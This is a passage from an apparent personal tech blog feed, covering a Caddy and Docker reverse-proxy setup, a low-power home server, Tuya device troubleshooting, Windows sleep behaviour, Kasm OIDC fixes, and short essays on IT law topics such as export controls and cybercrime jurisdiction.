&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# cat Caddyfile
{
    http_port 80
    https_port 443
}


subdomain.domain.com:443 {
  reverse_proxy yourapphere:80

  tls {
    dns cloudflare &amp;lt;insert key here&amp;gt;
    resolvers 1.1.1.1
  }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Finally, we create a docker-compose file which maps the high ports, 29000 and 29001 in my case, on the host machine to port 80/443 on Caddy. We are now ready to spin up the containers, Caddy should now automatically retrieve an SSL certificate using the DNS-01 challenge.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;
&lt;span class="normal"&gt;19&lt;/span&gt;
&lt;span class="normal"&gt;20&lt;/span&gt;
&lt;span class="normal"&gt;21&lt;/span&gt;
&lt;span class="normal"&gt;22&lt;/span&gt;
&lt;span class="normal"&gt;23&lt;/span&gt;
&lt;span class="normal"&gt;24&lt;/span&gt;
&lt;span class="normal"&gt;25&lt;/span&gt;
&lt;span class="normal"&gt;26&lt;/span&gt;
&lt;span class="normal"&gt;27&lt;/span&gt;
&lt;span class="normal"&gt;28&lt;/span&gt;
&lt;span class="normal"&gt;29&lt;/span&gt;
&lt;span class="normal"&gt;30&lt;/span&gt;
&lt;span class="normal"&gt;31&lt;/span&gt;
&lt;span class="normal"&gt;32&lt;/span&gt;
&lt;span class="normal"&gt;33&lt;/span&gt;
&lt;span class="normal"&gt;34&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# cat docker-compose.yml 
services:
  yourapphere:
    image: yourapphere:latest
    container_name: yourapphere
    restart: unless-stopped
    environment:
      - DOMAIN=https://subdomain.domain.com
    networks:
      - internal

  caddy:
    image: custom-caddy
    container_name: custom-caddy
    restart: unless-stopped
    ports:
      - &amp;quot;29000:80&amp;quot;
      - &amp;quot;29001:443&amp;quot;
    volumes:
      - caddy-data:/data
      - caddy-config:/config
      - ./Caddyfile:/etc/caddy/Caddyfile
    networks:
      - internal

volumes:
  caddy-data:
  caddy-config:

networks:
  internal:
    driver: bridge

# docker compose up -d
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;</content><category term="articles"></category><category term="Server"></category></entry><entry><title>N100 Low Power Server</title><link href="https://limbenjamin.com/articles/n100-low-power-server.html" rel="alternate"></link><published>2025-12-31T14:03:00+08:00</published><updated>2025-12-31T14:03:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2025-12-31:/articles/n100-low-power-server.html</id><summary type="html">&lt;p&gt;A couple of months ago, I acquired one of these N100 low power boards to replace my &lt;a href="//limbenjamin.com/articles/upgrading-wyse-5010.html"&gt;old Wyse 5010&lt;/a&gt;. These boards are way more powerful and have a lower power consumption, while still remaining relatively affordable. The CPU and motherboard combination can be had for under $200.  &lt;/p&gt;
&lt;p&gt;&lt;img alt="image" src="//limbenjamin.com/media/n100.jpg"&gt;&lt;/p&gt;
&lt;p&gt;I chose …&lt;/p&gt;</summary><content type="html">&lt;p&gt;A couple of months ago, I acquired one of these N100 low power boards to replace my &lt;a href="//limbenjamin.com/articles/upgrading-wyse-5010.html"&gt;old Wyse 5010&lt;/a&gt;. These boards are way more powerful and have a lower power consumption, while still remaining relatively affordable. The CPU and motherboard combination can be had for under $200.  &lt;/p&gt;
&lt;p&gt;&lt;img alt="image" src="//limbenjamin.com/media/n100.jpg"&gt;&lt;/p&gt;
&lt;p&gt;I chose a board with 4 ethernet ports (2.5G), 6 SATA ports, 1 PCIe slot and 2 NVMe slots. While it bumped up the cost and power consumption a little, it provided much extensibility.  &lt;/p&gt;
&lt;p&gt;I bridged the ethernet ports and replaced my network switch. Even though there are comments online discouraging running a switch in software on Linux, I found it to be relatively stable and good enough for my needs.  &lt;/p&gt;
&lt;p&gt;The SATA ports have been utilized for connecting multiple HDDs for NAS functionality, while the OS resides on an NVMe SSD. The HDDs are set to spindown when data is not being accessed.  &lt;/p&gt;
&lt;p&gt;Finally, the PCIe slot provides future extensibility, in case more network ports, SATA ports or wireless functionality is required in future.  &lt;/p&gt;
&lt;p&gt;The N100 has support for AV1, HEVC and VP9 hardware decoding which meant I could use this server for basic web browsing and media consumption. This meant I didn't have to fire up my beefy desktop regularly anymore, maybe only once a week when I want to game a little. The N100 also runs Home Assistant and pi-hole in the background without a sweat.  &lt;/p&gt;
&lt;p&gt;A single low power server can act as a network switch, NAS, media server and home automation server all in one. A good decision indeed.  &lt;/p&gt;</content><category term="articles"></category><category term="Server"></category></entry><entry><title>Studying for an IT LLM</title><link href="https://limbenjamin.com/articles/studying-for-an-it-llm.html" rel="alternate"></link><published>2025-11-06T14:21:00+08:00</published><updated>2025-11-06T14:21:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2025-11-06:/articles/studying-for-an-it-llm.html</id><summary type="html">&lt;p&gt;Having recently graduated with a Master of Laws (LLM) in Information Technology Law, I thought it would be apt to share more about how I came to the decision to pursue the LLM and to reflect on the journey over the past two years.&lt;/p&gt;
&lt;h2&gt;Why Study for an LLM?&lt;/h2&gt;
&lt;p&gt;Having …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Having recently graduated with a Master of Laws (LLM) in Information Technology Law, I thought it would be apt to share more about how I came to the decision to pursue the LLM and to reflect on the journey over the past two years.&lt;/p&gt;
&lt;h2&gt;Why Study for an LLM?&lt;/h2&gt;
&lt;p&gt;Having spent about eight years in the workforce prior to enrolling, I had developed a fairly clear sense of where the gaps in my knowledge lay and how an LLM could help to address them. As a red teamer or penetration tester, a poor understanding of the Computer Misuse Act and contract law can easily lead to trouble if one oversteps the boundaries of an engagement. As a vulnerability researcher, inadequate knowledge of copyright law and software licence agreements can similarly result in legal exposure. As a cyber forensic analyst, a solid understanding of evidence law is important to ensure that evidence is admissible in court. As a software developer or architect, familiarity with data protection and privacy laws can inform better design decisions that pay dividends in the long run. And as an employee in a large technology company, understanding intermediary liability helps explain why companies may still be subject to foreign laws and why Trust and Safety teams are necessary. There are, in my view, many domains of IT law that are directly relevant to various roles in cybersecurity.&lt;/p&gt;
&lt;p&gt;By contrast, some peers choose to pursue a Master of Computing, an MBA, or a Master’s degree in statistics or data science. For me, a Master of Computing was less attractive, as I had already completed a number of graduate-level cybersecurity modules during my final year at NUS and subsequently accumulated a range of industry certifications. An MBA held little appeal, as I have no particular interest in business. A Master’s in statistics or data science felt relatively niche and less broadly applicable. Moreover, I felt that data science is comparatively easier to pick up through short online courses and self-study, whereas law is a discipline that benefits far more from structured, formal education. For these reasons, an LLM in IT law seemed the most appropriate choice.&lt;/p&gt;
&lt;p&gt;Being in my early thirties also felt like an opportune time. I had accumulated enough work experience to understand what I needed, while still being young enough to keep pace with my peers and without having too many personal or family commitments.&lt;/p&gt;
&lt;h2&gt;Choice of School&lt;/h2&gt;
&lt;p&gt;There are relatively few universities willing to accept students without a Bachelor of Laws into their LLM programmes, which significantly narrowed my options. The need to continue working full time also meant that I had to find a programme that could be pursued on a part-time basis. The University of Edinburgh satisfied both of these requirements. In addition, studying at a UK university meant exposure to common law principles applicable in Singapore, as well as in-depth coverage of the GDPR, which has far greater practical impact than most other data protection regimes.&lt;/p&gt;
&lt;p&gt;A close contender was Singapore Management University (SMU). However, its IT law programme focused heavily on AI law and ethics, blockchain, and fintech topics such as DeFi and NFTs, and also included compulsory modules like real estate law, which did not align with my interests. I was looking for a more traditional, black-letter law education, and for that reason, Edinburgh ultimately became my choice.&lt;/p&gt;
&lt;h2&gt;Preparing for Law School&lt;/h2&gt;
&lt;p&gt;Starting law school can be intimidating, particularly when some classmates have four-year law degrees, others have years of legal practice, and still others are younger or studying full time with far more time to devote to their studies. More than six months before formally enrolling, I began preparing by purchasing used contract law and tort law textbooks from Carousell. The practice questions and answer keys were invaluable in testing my understanding, and in the beginning I often had to read the same chapters multiple times to grasp the nuances.&lt;/p&gt;
&lt;p&gt;There is no shortage of affordable law textbooks in Singapore. There are plenty of rich kids who flunk out of law school and sell off their textbooks for cheap. I also heard that the Singapore Academy of Law gives credits to its members yearly. Some enterprising members would use these credits to buy law textbooks and sell them cheaply to cash out the credits.&lt;/p&gt;
&lt;h2&gt;Getting through Law School&lt;/h2&gt;
&lt;p&gt;The feedback received on essays is critically important, as it is easy to be blind to the weaknesses in one’s own writing. During my first year, I was consistently scoring in the 60s. After working on clearer signposting and more rigorous referencing, I managed to raise my grades into the 70s and eventually just scraped a distinction.&lt;/p&gt;
&lt;p&gt;Being strategic also matters. I fumbled a two-part question early in my first year and subsequently made a conscious decision to avoid that style of question for the remainder of the programme. Legal writing is very much a work in progress, and even now my writing sometimes feels simplistic when compared to that of others. That said, I firmly believe that with the right aptitude, sustained effort, and a willingness to take feedback seriously, it is entirely possible to perform well in law school.&lt;/p&gt;</content><category term="articles"></category><category term="Legal"></category></entry><entry><title>Tuya Local and Protocol 3.5 support</title><link href="https://limbenjamin.com/articles/tuya-local-and-protocol-35-support.html" rel="alternate"></link><published>2025-09-29T21:21:00+08:00</published><updated>2025-09-29T21:21:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2025-09-29:/articles/tuya-local-and-protocol-35-support.html</id><summary type="html">&lt;p&gt;I have been a longtime user of &lt;a href="https://github.com/rospogrigio/localtuya"&gt;localtuya&lt;/a&gt; and tried to configure a recently purchased triple USB tuya plug that looks like that below. localtuya has been suggested by most of the tutorials online and is one of the most popular add-ons. The device name showing up on the SmartLife …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I have been a longtime user of &lt;a href="https://github.com/rospogrigio/localtuya"&gt;localtuya&lt;/a&gt; and tried to configure a recently purchased triple USB tuya plug that looks like that below. localtuya has been suggested by most of the tutorials online and is one of the most popular add-ons. The device name showing up on the SmartLife app is &lt;code&gt;3CH Wifi USB Switch Module CBU&lt;/code&gt;. As a side note, the advertisement claim is accurate and all 3 plugs can indeed be individually switched on or off. In addition, there is also a timer function that will automatically switch off the selected plug after a certain duration.&lt;/p&gt;
&lt;p&gt;&lt;img alt="image" src="//limbenjamin.com/media/tripleusb.png"&gt;&lt;/p&gt;
&lt;p&gt;After struggling for over an hour, I finally made a breakthrough. Firstly, newer devices may utilize Protocol Version 3.5 which is not backward compatible with older versions. Also localtuya as of now does not support Protocol Version 3.5 so it will not detect the device, manually adding the device and setting the DP values will result in switches that cannot be clicked.&lt;/p&gt;
&lt;p&gt;In order to troubleshoot if version compatibility is the issue, &lt;code&gt;tuya-cli&lt;/code&gt; is a very useful tool. If you attempt to connect using Protocol Version 3.4 and it fails at session key negotiation and the socket gets terminated, your device may be using Protocol Version 3.5.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;npm i @tuyapi/cli -g
# DEBUG=* tuya-cli get --ip 192.168.1.123 --id abcd --key &amp;#39;abc123!@#&amp;#39; --protocol-version 3.4
  TuyAPI IP and ID are already both resolved. +0ms
  TuyAPI Connecting to 192.168.1.123... +3ms
  TuyAPI Socket connected. +55ms
  TuyAPI Protocol 3.4, 3.5: Negotiate Session Key - Send Msg 0x03 +4ms
  TuyAPI Socket closed: 192.168.1.123 +107ms
# DEBUG=* tuya-cli get --ip 192.168.1.123 --id abcd --key &amp;#39;abc123!@#&amp;#39; --protocol-version 3.5
  TuyAPI IP and ID are already both resolved. +0ms
  TuyAPI Connecting to 192.168.1.123... +2ms
  TuyAPI Socket connected. +28ms
  TuyAPI Protocol 3.4, 3.5: Negotiate Session Key - Send Msg 0x03 +2ms
  TuyAPI Received data: 0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz +111ms
  TuyAPI Parsed: +2ms
  TuyAPI {
  TuyAPI   payload: &amp;lt;Buffer 34 31 33 38 ...&amp;gt;,
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Once you have verified that the your device is using Protocol Version 3.5, you can use &lt;a href="https://github.com/make-all/tuya-local"&gt;tuya local&lt;/a&gt; instead which supports Protocol Version 3.5. In my case, the device was automatically detected, and after a few nexts the device was successfully setup. It is so trivial that it's not worth documenting.&lt;/p&gt;</content><category term="articles"></category><category term="Server"></category></entry><entry><title>When does Windows sleep?</title><link href="https://limbenjamin.com/articles/when-does-windows-sleep.html" rel="alternate"></link><published>2025-09-02T14:37:00+08:00</published><updated>2025-09-02T14:37:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2025-09-02:/articles/when-does-windows-sleep.html</id><summary type="html">&lt;p&gt;I have always wondered about a somewhat inconsistent behaviour in how Windows decides when the computer is inactive, and to turn off the screen and subsequently sleep. As an example, if I have a 2 hour YouTube video playing in the browser, the screen will never turn off and the …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I have always wondered about a somewhat inconsistent behaviour in how Windows decides when the computer is inactive, and to turn off the screen and subsequently sleep. As an example, if I have a 2 hour YouTube video playing in the browser, the screen will never turn off and the computer will not go to sleep while the video is playing. &lt;/p&gt;
&lt;p&gt;However, if I have a finance website open that constantly refreshes stock prices every minute via client side JavaScript, the screen will turn off and the computer will go to sleep according to the Power Settings configured on the machine.&lt;/p&gt;
&lt;p&gt;In both scenarios, the keyboard and mouse is never moved, and my attention is captivated by the YouTube video or the constantly refreshing stock prices, but somehow Windows decides that the latter scenario is considered inactivity.&lt;/p&gt;
&lt;p&gt;I finally chanced upon the answer earlier today while examining Windows APIs. Apparently, according to the &lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-setthreadexecutionstate"&gt;documentation&lt;/a&gt;, the &lt;code&gt;SetThreadExecutionState&lt;/code&gt; function takes in the &lt;code&gt;ES_DISPLAY_REQUIRED&lt;/code&gt; flag as well as the &lt;code&gt;ES_SYSTEM_REQUIRED&lt;/code&gt; flag which resets the respective idle timers. It is actually the browsers themselves which decide whether a particular activity is worthy of being kept alive and reset the timers at a regular interval. &lt;/p&gt;
&lt;p&gt;While browsers implement keep alive for media playback by default, they do expose a &lt;a href="https://developer.chrome.com/docs/capabilities/web-apis/wake-lock"&gt;Screen Wake Lock API&lt;/a&gt; that programmers can use to stop the screen from turning off. The System Wake Lock was present in a previous version of the API but was &lt;a href="https://github.com/w3c/screen-wake-lock/blob/gh-pages/explainer.md"&gt;removed&lt;/a&gt;, possibly to prevent misuse.&lt;/p&gt;</content><category term="articles"></category><category term="Coding"></category><category term="Security"></category></entry><entry><title>Integrating Kasm with MS Azure Internal OIDC</title><link href="https://limbenjamin.com/articles/integrating-kasm-with-azure-oidc.html" rel="alternate"></link><published>2025-06-06T21:17:00+08:00</published><updated>2025-06-06T21:17:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2025-06-06:/articles/integrating-kasm-with-azure-oidc.html</id><summary type="html">&lt;p&gt;Recently, I faced issues integrating Kasm with Microsoft Azure Internal OIDC due to &lt;a href="https://kasmweb.com/docs/latest/guide/oidc/microsoft_internal.html"&gt;outdated documentation&lt;/a&gt;. After some trial and error, I got it to work.&lt;/p&gt;
&lt;p&gt;Here's the list of inaccuracies in the documentation.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Step 17 is no longer required. sid will be automatically included in the token. You will not …&lt;/li&gt;&lt;/ol&gt;</summary><content type="html">&lt;p&gt;Recently, I faced issues integrating Kasm with Microsoft Azure Internal OIDC due to &lt;a href="https://kasmweb.com/docs/latest/guide/oidc/microsoft_internal.html"&gt;outdated documentation&lt;/a&gt;. After some trial and error, I got it to work.&lt;/p&gt;
&lt;p&gt;Here's the list of inaccuracies in the documentation.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Step 17 is no longer required. sid will be automatically included in the token. You will not be able to find it in the dropdown menu.&lt;/li&gt;
&lt;li&gt;For Step 18, add User.Read to the scope. The full scope should include &lt;code&gt;openid profile email User.Read&lt;/code&gt;, with each in its own line. I also added these attributes as delegated type under the API permissions tab on the Azure Entra application.&lt;/li&gt;
&lt;li&gt;If you get an &lt;code&gt;OIDC login rejected: Non OIDC user&lt;/code&gt; error, the OIDC authentication is working correctly. This error indicates that you have a local user that has the same email as the OIDC account you are trying to login with, you will need to change the email address of your local user.&lt;/li&gt;
&lt;/ol&gt;</content><category term="articles"></category><category term="Security"></category><category term="Server"></category></entry><entry><title>Export Controls on Software</title><link href="https://limbenjamin.com/articles/export-controls-on-software.html" rel="alternate"></link><published>2025-03-28T19:31:00+08:00</published><updated>2025-03-28T19:31:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2025-03-28:/articles/export-controls-on-software.html</id><summary type="html">&lt;p&gt;In the context of software, export control has a fairly encompassing definition and restricts the "disclosure of source code to foreign nationals", even if the disclosure occurs domestically, even if no money changes hands, and also if the distribution occurs over the Internet [1], the rationale of which is to …&lt;/p&gt;</summary><content type="html">&lt;p&gt;In the context of software, export control has a fairly encompassing definition and restricts the "disclosure of source code to foreign nationals", even if the disclosure occurs domestically, even if no money changes hands, and also if the distribution occurs over the Internet [1], the rationale of which is to achieve "national security, foreign policy, military or even economic purposes" [2].&lt;/p&gt;
&lt;p&gt;The primary concern of export controls is "dual-use software" that contains substantial domestic origin content or technology [3]. Dual-use software refers to software that has both civilian and military uses [4]. Apart from General Export Authorisations which provide a blanket approval for export to certain countries [5], the EU requires that the exporters exercise "due dilligence" in understanding how the exported product will be used and must notify the authorities that the items are exported under the Union General Export Authorisation [6]. As for the UK, transfer of dual-use software falls under the ambit of the Export Control Order 2008, prospective exporters will need a license, keep records of these exports, and subject those records to inspection on request [7].&lt;/p&gt;
&lt;p&gt;Global Positioning System (GPS) is an example of a dual-use technology [8] that can be used for civilian navigation purposes or to guide missiles to a target. Before 2014, GPS receivers that could function above 60,000 feet and at 1,000 knots velocity were subject to the International Traffic in Arms Regulations as they had the propensity to be used for military purposes [9]. &lt;/p&gt;
&lt;p&gt;On the software front, security tools such as Nessus or Metasploit used for vulnerability scanning has also been deemed as dual-use [10]. On one hand, they can be used by organizations to scan for vulnerabilities in their assets so they can be patched. However, they can also be used by hackers to discover vulnerabilities in other's devices, so as to exploit and compromise them for nefarious reasons. &lt;/p&gt;
&lt;p&gt;Metasploit is open source and available to download on GitHub. It appears that the responsibilities of export control has been levied onto the intermediary, GitHub, which complies with US Export Administration Regulations to restrict the export of code to selected countries [12]. GitHub is home to more than 400 million code repositories from over 4 million organizations [13], who take advantage of their source code versioning and hosting services to store their software. Thus, it would make sense for regulators to capitalize on these intermediaries and gatekeepers to effectively achieve export control aims.&lt;/p&gt;
&lt;p&gt;[1] Brock A (ed), Open Source Law, Policy, and Practice (Second edition, Oxford University Press 2022), pp. 275, 277&lt;/p&gt;
&lt;p&gt;[2] ibid, pp. 276 - 277&lt;/p&gt;
&lt;p&gt;[3] ibid&lt;/p&gt;
&lt;p&gt;[4] ibid&lt;/p&gt;
&lt;p&gt;[5] ibid, 279&lt;/p&gt;
&lt;p&gt;[6] Regulation (EU) No 1232/2011 of the European Parliament and of the Council of 16 November 2011 amending Council Regulation (EC) No 428/2009 setting up a Community regime for the control of exports, transfer, brokering and transit of dual-use items, ANNEX IIb, Part 3&lt;/p&gt;
&lt;p&gt;[7] Export Control Order 2008, Part 5&lt;/p&gt;
&lt;p&gt;[8] Silic, Mario. "Dual-Use Open Source Security Software in Organizations – Dilemma: Help or Hinder?"" Computers &amp;amp; Security 39 (2013): 386–95, pp. 387&lt;/p&gt;
&lt;p&gt;[9] Inside GNSS, "U.S. Eases Export Regulations for GPS Receivers" &lt;a href="https://insidegnss.com/u-s-eases-export-regulations-for-gps-receivers/"&gt;https://insidegnss.com/u-s-eases-export-regulations-for-gps-receivers/&lt;/a&gt; accessed 28 March 2025&lt;/p&gt;
&lt;p&gt;[10] Mario (n 7), pp. 390 - 391&lt;/p&gt;
&lt;p&gt;[11] rapid7, "Metasploit Framework" &lt;a href="https://github.com/rapid7/metasploit-framework"&gt;https://github.com/rapid7/metasploit-framework&lt;/a&gt; accessed 28 March 2025&lt;/p&gt;
&lt;p&gt;[12] GitHub, "GitHub and Trade Controls" &lt;a href="https://docs.github.com/en/site-policy/other-site-policies/github-and-trade-controls"&gt;https://docs.github.com/en/site-policy/other-site-policies/github-and-trade-controls&lt;/a&gt; accessed 28 March 2025&lt;/p&gt;
&lt;p&gt;[13] GitHub, "About GitHub: Let's build from here" &lt;a href="https://github.com/about"&gt;https://github.com/about&lt;/a&gt; accessed 28 March 2025&lt;/p&gt;</content><category term="articles"></category><category term="Legal"></category></entry><entry><title>Territoriality: Internet Crime</title><link href="https://limbenjamin.com/articles/territoriality-internet-crime.html" rel="alternate"></link><published>2025-03-09T23:49:00+08:00</published><updated>2025-03-09T23:49:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2025-03-09:/articles/territoriality-internet-crime.html</id><summary type="html">&lt;p&gt;I do believe that Barlow's statement still holds some weight today and that states "are not welcome" in cyberspace [1]. In cyberspace, it is companies that jealously guard their jurisdiction and sovereignty as they battle for market share, user retention, all the while collecting massive troves of data from their …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I do believe that Barlow's statement still holds some weight today and that states "are not welcome" in cyberspace [1]. In cyberspace, it is companies that jealously guard their jurisdiction and sovereignty as they battle for market share, user retention, all the while collecting massive troves of data from their user base which they jealously guard and monetize through selling advertising space. While online, we identify as users of Google or Facebook and not through our nationality. We authenticate to third party websites using the "Sign in with Google/Facebook" button instead of our passports or national ID cards.&lt;/p&gt;
&lt;p&gt;That said, governments have attempted to stop the forum shopping through legislation with extraterritorial effects [2]. Brenner and Koops also argue that the "reasonable standard" where states have to establish that are "sufficiently close" to exercise their jurisdictional rights can be challenging to overcome [3]. On the flip side, sometimes states might assume that another state is more closely associated or impacted and choose not to take action, leading to a stalemate [4].&lt;/p&gt;
&lt;p&gt;Also, I believe that "double criminality" plays a large factor as well, if the act is illegal in both jurisdictions [5], then local police should be more than happy to cooperate with foreign police's access of material as it would potentially lead to conviction of a criminal, which is in both state's best interest. &lt;/p&gt;
&lt;p&gt;However, if the crime is one of free speech vs lese majeste or hate speech, then it may be more controversial and states may protest against foreign access of such material. Wipas Raksakulthai, a Thai citizen, allegedly committed such an offence through a Facebook post [6]. Firstly, it is difficult for a state to establish if that Facebook post resided on a server in Thailand or overseas. Secondly, since the defendant is a Thai citizen, there would also be less incentive for foreign states to intervene on his behalf. Hence, the only response he got was Amnesty International declaring that he is a "prisoner of conscience".&lt;/p&gt;
&lt;p&gt;Since few states have lese majeste or hate speech laws, and it is difficult for states to establish which country the offending content resides in, and it is also rare for a foreigner to be charged under such laws, it is no surprise that there are very few or even no examples of states protesting foreign police access to materials in their country.&lt;/p&gt;
&lt;p&gt;[1] Barlow, J P  'A Declaration of the Independence of Cyberspace' &lt;a href="https://www.eff.org/cyberspace-independence"&gt;https://www.eff.org/cyberspace-independence&lt;/a&gt; accessed 9 March 2025&lt;/p&gt;
&lt;p&gt;[2] Brenner SW and Koops B-J, ‘Approaches to Cybercrime Jurisdiction.(Report)’ (2004) 4 The Journal of High Technology Law 1, pp. 11&lt;/p&gt;
&lt;p&gt;[3] ibid, pp. 5&lt;/p&gt;
&lt;p&gt;[4] ibid&lt;/p&gt;
&lt;p&gt;[5] ibid, pp. 7&lt;/p&gt;
&lt;p&gt;[6] Belinsky, Mark 'This Can Get Mark Zuckerberg Arrested' &lt;a href="https://www.huffpost.com/entry/this-can-get-mark-zuckerb_b_1066634"&gt;https://www.huffpost.com/entry/this-can-get-mark-zuckerb_b_1066634&lt;/a&gt; accessed 9 March 2025&lt;/p&gt;</content><category term="articles"></category><category term="Legal"></category></entry><entry><title>Volume of Digital Evidence</title><link href="https://limbenjamin.com/articles/volume-of-digital-evidence.html" rel="alternate"></link><published>2025-03-01T17:57:00+08:00</published><updated>2025-03-01T17:57:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2025-03-01:/articles/volume-of-digital-evidence.html</id><summary type="html">&lt;p&gt;Doctorow states that the most important commodity in today's economy is attention [1]. Each person only has 24 hours in a day to send messages, surf the net, watch video and shop online. Hence, even though the size of hard drives has increased 100 fold from 10GB in 1999 to …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Doctorow states that the most important commodity in today's economy is attention [1]. Each person only has 24 hours in a day to send messages, surf the net, watch video and shop online. Hence, even though the size of hard drives has increased 100 fold from 10GB in 1999 to 1TB in 2013 [2], we have most definitely not increased the amount of messages sent, websites visited, videos watched and items bought online by 100 fold, the latter also being constrained by the fact that salaries have not increased 100 fold in that time!&lt;/p&gt;
&lt;p&gt;Since the amount of meaningful data has not exploded in volume, I do believe that the "data reduction and subsets" strategy [3] highlighted by Quick et al is critical to ensure that we are able to cope with the increase in disk and file sizes. Selective imaging by skipping over file hashes of known binaries or media files could greatly reduce the amount of data processed [4]. Spotify has been known to cache up to 8 GB of audio recordings [5], we could skip over the cache folder as the Listening History will give you all that information in a file only a few KB in size. However, savvy criminals with knowledge of the forensics process may decide to hide incriminating files there, hence forensics analysts will also need to make a determination if a deeper search is warranted based on the profile of the perpetrator. This will require both a legal and technological shift in processes. Courts will have to accept evidence from partial images and forensics tools will need to support such functionality.&lt;/p&gt;
&lt;p&gt;One silver lining from increasing data volume is the increased retention as "storage is easily purchased and inexpensive" [6]. Hence, data that might have been deleted and overwritten by perpetrators may now be available for collection. Also, there is a corresponding increase in "machine generated" data since machines do not have to divide their 24 hours into various tasks. For instance, CCTVs that previously only capture a few days of data can now capture months of data. This provides additional lines of investigations which may not have existed previously.&lt;/p&gt;
&lt;p&gt;Finally, the disk size of the average personal computer sold today has plateaued at around 1TB, similar to 2013. Even though there are larger disk sizes available, the market has settled on that number possibly due to Doctorow's conjecture above. With only 24 hours a day, there is a limit to how many videos we can watch. There is no purpose in storing terabytes of videos that we'll never find the time to watch, not to mention the rise of the popularity of streaming services which negate the need for storage.&lt;/p&gt;
&lt;p&gt;[1] Cory Doctorow (2020) 'How to Destroy Surveillance Capitalism' (OneZero 2020), pp. 20&lt;/p&gt;
&lt;p&gt;[2] Quick D and Choo K-KR, 'Impacts of Increasing Volume of Digital Forensic Data: A Survey and Future Research Challenges' (2014) 11 Digital Investigation 273, pp. 276&lt;/p&gt;
&lt;p&gt;[3] ibid, pp. 282&lt;/p&gt;
&lt;p&gt;[4] ibid, pp. 284&lt;/p&gt;
&lt;p&gt;[5] petalfo, 'How to limit cache size?' &lt;a href="https://community.spotify.com/t5/Desktop-Mac/How-to-limit-cache-size/td-p/2907725"&gt;https://community.spotify.com/t5/Desktop-Mac/How-to-limit-cache-size/td-p/2907725&lt;/a&gt; accessed 1 Mar 2025&lt;/p&gt;
&lt;p&gt;[6] Quick D (n 2), pp. 279&lt;/p&gt;
